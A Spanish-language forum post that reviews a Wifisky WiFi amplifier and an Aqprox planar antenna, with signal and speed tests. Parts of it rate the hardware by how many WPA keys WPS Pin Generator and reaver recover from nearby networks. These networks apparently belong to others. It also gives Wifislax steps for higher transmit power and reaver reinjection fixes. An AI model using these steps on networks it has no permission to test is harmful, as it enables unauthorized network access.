Prueba de conexión a 450 metros con router Tp-link con y sin amplificador wifisky 2000 mw

Para realizar la siguiente prueba nos desplazamos a un entorno poco poblado , una urbanización donde existe poco ruido electromagnético que pueda interferir en el resultado de la misma.

Situamos en el exterior el router tp-link asignado para la prueba a una altura de tres metros , sobre unas arizónicas para conseguir tener visión directa entre el ap y el punto receptor , utilizaremos un adaptador connectión en el punto receptor con una antena omnidireccional de 11 dbi.

Agregamos unas fotos sobre el entorno y la preparación de las mediciones.

450 metros entre el ap y el punto receptor 

Router situado a 3 metros de altura situado e una plataforma para obtener visión derecta entre ambos puntos 

Punto receptor para realizar las mediciones con un adaptador conecction y antena omnidireccional

ROUTER CON AMPLIFICADOR A 450 METROS

OBTENEMOS UN 53 % DE NIVEL DE SEÑAL

PING ESTABLE A WWW.GOOGLE.COM CON UNA MÉDIA DE 62 MILISEGUNDOS DE RESPUESTA

GRÁFICO DE DESCARGA MUY ESTABLE DE UN ARCHIVO

RESUMEN ESTADÍSTICO DE LA DESCARGA , CON UNA MEDIA DE 2.62 MBPS

ROUTER SIN AMPLIFICADOR A 450 METROS

OBTENEMOS UN 37% APROXIMADO DE NIVEL DE SEÑAL

MÉDIA DEL PING A GOOGLE EN MILISEGUNDOS 

GRÁFICO DE DESCARGA DE UN ACHIVO DONDE OBSERVAMOS ALGO MAS DE INESTABILIDAD

GRÁFICO ESTADISTICO DE LA DESCARGA DEL ROUTER SIN AMPLIFICADOR , MEDIA DE 528 KBPS

RESULTADO

ROUTER CON AMPLIFICADOR

NIVEL DE SEÑAL: 53 %

PING : 62 MS

RENDIMIENTO: 2.62 mbps

ROUTER SIN AMPLIFICADOR

NIVEL DE SEÑAL: 37 %

PING: 65 MS

RENDIMIENTO: 528 kbps

Los resultados de esta prueba son concluyentes , el router con amplificador wifisky hace llegar la señal con mas potencia ofreciendo así un mayor rendimiento que el router con la antena de 6dbi . Si hubiésemos estado cerca del ap, el resultado en ambos casos habría sido similar. El amplificador se hace muy útil cuando comenzamos a sufrir pérdidas de rendimiento debido al debilitamiento de la señal por causas como la distancia entre el punto emisor y el receptor , como en esta prueba.

Hemos de tener en cuenta que el tipo de antena y su ganancia también juega un papel importante en todo esto , podíamos haber utilizado antenas direccionales para mejorar el resultado , pero el asunto que tratamos en esta ocasión es apreciar la diferencia de emisión de señal de un router inconporando un amplificador al mismo y apreciar la mayor cobertura que nos dá la utilización del mismo.

PRUEBA EN MODO MONITOR CON Y SIN AMPLIFICADOR

En la siguiente prueba en wifislax vamos a observar la diferencia en cuanto a la utilización de un amplificador en modo monitor . Sabemos que la potencia de emisión es muy importante en aplicaciones tan de moda como el reaver o wps pin generator , ademas de la reinyección de paquetes utilizando la suit Aircrack.

Realizamos las mediciones con un adaptador connection con y sin el amplificador wifisky con la herramienta wpspingenerator , primero efectuaremos un escaner para detectar la cantidad de redes susceptibles de obtener la contraseña  para después comprobar cuantas de ellas son vulnerables.

WPS PIN GENERATOR SIN AMPLIFICADOR

El escaner del wps pin generator nos muestra seis redes subcestibles del ataque para obterner la clave , realizaremos dos intentos con cada una de ellas

Red 1 – Ataque fallido

Red 2 – Ataque fallido

[

Red 3 – Ataque fallido

Red 4 – ataque fallido

Red 5 – obtención de contraseña

Red 6 – obtención de contraseña

WPS PIN GENERATOR CON AMPLIFICADOR

ap 1 – fallido

Ap 2- obtención de contraseña

Ap 3- fallido

Ap 4 – obtención de contarseña

Ap 5 – obtención de contraseña

Ap 6 – obtención de contraseña

Ap 7 – obtencion de contraseña

Ap 8 – obtencion de contraseña

[/spoiler]

RESULTADOS

Obtencion de claves con amplificador : 6

Obtención de claves sin amplificador:   2

En modo monitor este amplificador es una bestia , estoy francamente sorprendido de la gran diferencia de rendimiento al utilizar este dispositivo en wifislax , su potencia le hace obtener unos resultados impresionantes con casi todas las aplicaciones y en especial con todas las herramientas dedicadas al reaver. La polivalencia que da su uso en modo monitor es evidente ya que se pude utilizar con adaptadores que adolecen de  falta de potencia para modo monitor , como podría ser el tp-link 7222N y otros muchos. De hecho supera a la inmensa mayoría de adaptadores que dicen tener (y no tienen) 1, 2 y 3 vatios de potencia , como el connection que hemos utilizado en esta prueba , si la potencia de esos adaptadores fuese real el amplificador se habría quemado (soporta 26 dbm de enegia de entrada del adaptador).

El poder utilizar un amplificador con casi todos los adaptadores usb en modo monitor es una gran ventaja, ya que los resultados con cada uno de ellos se optimizan considerablemente con el uso de este dispositivo.

Amplificador wifisky 2000mw y connectify

En muchas ocasiones cuando la cobertura que nos ofrece un router normal en una vivienda es insuficiente , un amplificador de señal wifi puede resultar una solución práctica y sencilla utilizando el programa Connectify.

En el caso de la siguiente prueba , la señal del punto de acceso llega muy debilitada a una de las estancias ya que de por medio se encuentran muchos tabiques haciendo deficiente la conexión.Queremos utilizar nuestro teléfono o nuestro tablet de form ocasional cuando nos encontremos en esa zona donde la conexión wifi es deficiente .Para revertir la situación de forma francamente sencilla nos situamos en un punto intermedio entre el ap y la estancia donde queremos que llegue la señal de forma óptima.

La tarjeta de red inalámbrica integrada de nuestro portátil se encarga de recibir la señal , y mediante el programa connectify, un adaptador usb con conector rp-sma conectado al  amplificador repetiremos la misma con mayor intensidad para llegar a la estancia donde necesitamos tener buena cobertura.

Una vez configurado el programa Connectify , nuestro amplificador repetirá la señal para hacerla llegar hasta el punto receptor donde necesitamos internet , el resultado lo vemos en las siguientes capturas de pantalla.

El amplificador wifisky ha aumentado el nivel de señal significativamente y también el rendimiento de la conexión , podemos observar en las primeras gráficas  mas de un 20% de mejoría , el test de velocidad nos indica que la conexión entre la tablet y el router da un resultado de 306 kilobits y el test de subida se quedó a 0 , y el adaptador conectado al amplificador nos ofrece un resultado de 2997 kilobits de descarga y 300 de subida.

Esta es una solución excelente cuando de manera ocasional queremos llevar la señal a un lugar donde la conexión es deficiente o nula , hay que tener en cuenta que para repetir la citada señal de forma optima , hay que situarse en un punto donde la recepción de la misma por medio de nuestra tarjeta wifi integrada sea buena , para que el aplificador la repita con suficiente calidad y tener buena conexion.

Resumen

Finalizadas las pruebas con el amplificador wifisky 2000 mw , podemos destacar la polivalencia de este dispositivo , sirve para amplificar la señal de routers con un conector rpsma  cuando necesitemos mas intensidad o potencia de señal .

En modo monitor los resultados son sobresalientes ya que , ademas de dar la potencia necesaria a cualquier adaptador usb que necesite de la misma , trabaja de forma impresionante con aplicaciones como reaver , wpspingenerator y la suit aircrack reinyectando paquetes.

También hemos comprobado su versatilidad utilizado junto con cualquier adaptador usb que permita su uso, repitiendo la señal recibida para hacerla llegar al lugar donde necesitemos cobertura mediante el programa Connectify o similares , solo necesitamos una toma de corriente eléctrica , un portatil y un adaptador usb para hacer llegar de forma óptima y con suficiente intensidad la señal al lugar donde la misma llega debil. Podremos conectarnos con cualquier dispositivo , tablet , telefono o pc al ordenador donde tengamos conectado el amplificador y el usb wifi.

Por otra parte , hay que tener sentido común en la utilización de estos dispositivos , se deben de utilizar con medida y en las situaciones concretas que nos haga falta y desconectarlos cuando no estén en uso.
No podemos olvidar que convivimos con mas gente a nuestro alrededor y la emisión de potencia excesiva emite ruido electromagnético que satura el espectro perjudicando a los demás, ademas de que no debemos olvidar de que no debe de ser muy saludable tener un emisor de 2 vatios conectado a dos metros de la cabeza constantemente.

Todo en su justa medida puede resultar , hay que leer la sugerencia que alude las especificaciones del producto en el manual de instalación y lo concerniente a la normativa aplicable a la ley de telecomunicaciones y la potencia radiada por un dispositivo wifi. Para realizar una el montaje de una instalación wifi  de cierta envergadura es mejor consultar a una empresa especializada y tener en cuenta lo mencionado anteriormente.

Pagina web del Amplificador wifisky 2000 mw

Pruebas Aqprox APPUSB18DB , modo monitor

Autor: o r i o n

Hoy vamos a probar este dispositivo todo en uno , antena planar mas adaptador.

Las especificaciones del producto , descarga de drivers , etc , la podemos encontrar en la página oficial de la marca Aqprox

Las caracteristicas físicas de este dispositivo todo en uno , son las de una antena planar de 14/15 dbi , que aloja en su interior una placa con chipset Ralink 3070 , el cable  de 5 metros con dos conectores usb finaliza acoplado directamente a la placa del adaptador , incorpora un practico soporte o peana que va roscado directamente a la antena , el cual bascula en vetical para poder orienar la antena a la altura deseada.

Vamos a poner unas fotos para verlo todo mejor

En esta última foto de la izquierda , podemos comparar el tamaño con otro modelo de planar (interline) de 14 dbi

Pruebas en modo monitor con wifislax 4.3

Este dispositivo inalámbrico funciona perfectamente con aplicaciones tan de moda como
reaver , wps pin generator y demás, si bien necesita de alguna configuración especial para poder funcionar debido a problemas de incompatibilidad con el gestor de redes inalambricas wcid , (despues explicaremos como solucionarlo facilmente).

Lo primero que debemos hacer antes de cargar wifislax 4.3 es configurar la opción de potencia txpower , si es que deseamos aumentar la que trae asignada por defecto nuestra live , en el pendrive donde tengamos instalada la iso , abrimos la carpeta denominada wifislax , dentro encontramos una carpeta con el nombre optional dentro de ella encontramos dos archivos.xzm de configuracion de potencia, 27 dbm o 30 dbm  , copiamos el que nos interese y lo pegamos dentro de la carpeta modules, que se encuentra en la misma ubicacion ( carpeta wifislax).

Cargamos el sistema y nada mas comenzar chequeamos (con todas las tarjetas wifi ya conectadas) , primero el comando iwconfig , que nos corrobora que el módulo para subir la potencia deseada está activo.

Después el comando airmon-ng nos asignará el nombre de interfaz a utilizar , en este caso el chipset ralink lo recnoce como wlan1 , que nos servira para levantar esa interfaz para su uso en modo monitor

Solucción a posibles problemas de asociación y reinyección con  reaver , chipsets
Ralink

En ocasiones al utilizar reaver con varias interfaces ( wlan0 , wlan1 etc) , al seleccionar dicha interfaz con el chip Ralink (por ejemplo wlan1) nos daremos cuenta que no se asocia nunca ni es capaz de reiyectar , esto se debe a que el gestor de redes inalámbricas wcid ha levantado otra interfaz diferente a la de nuestro Ralink , nos daremos cuenta de esto al obsevar el mensaje

warning can not asociate

USUARIONUEVO encontró solución a este problema levantando de nuevo la interfaz del adaptador Ralink con este comando

#ifconfig wlan0 up

Veremos como nuestro ralink ya reinyecta , asocia y saca pines.Una vez terminamos de utilizar reaver hay que acordarse de bajar de nuevo la interfaz para poder utilizar otro tipo de aplicaciones o escanear con airodump-ng , lo haremos con el comando..

#ifconfig wlan0 down

En el caso de que nuestro adaptador con Ralink sea la única tarjeta de red inalámbrica de nuestro equipo , no hará falta proceder de esta manera ya quewicd se encargará de levantar la interfaz . Recordamos que esto sirve solo con adaptadores con chipset ralink, el resto de chipsets con adaptadores compatibles no dan este problema y se procede normalmente.

Capturas airoscript y wps pin generator

Unas capturas de pantalla con estas dos sencillas aplicaciones confirman su utilización en modo monitor , solo comentar que no se consiguen grandes tasas de reinyección y que hay que ser persistente en la asociación ,ya que no suele cogerla a la primera a distancias medias con entornos muy saturados.

Airoscript


Ataque a wep con reinyeccion de paquetes.

Wps pin generator

Obteniendo clave wpa por defecto con wps pin generator

Hilos relevantes de OpenWrt

Autor: Noltari

[DESARROLLO]

bcm63xx

lantiq

ramips

lexra

conexant

 


[TUTORIALES]
Recopilaciones

WiFi

WAN/VOIP

Otros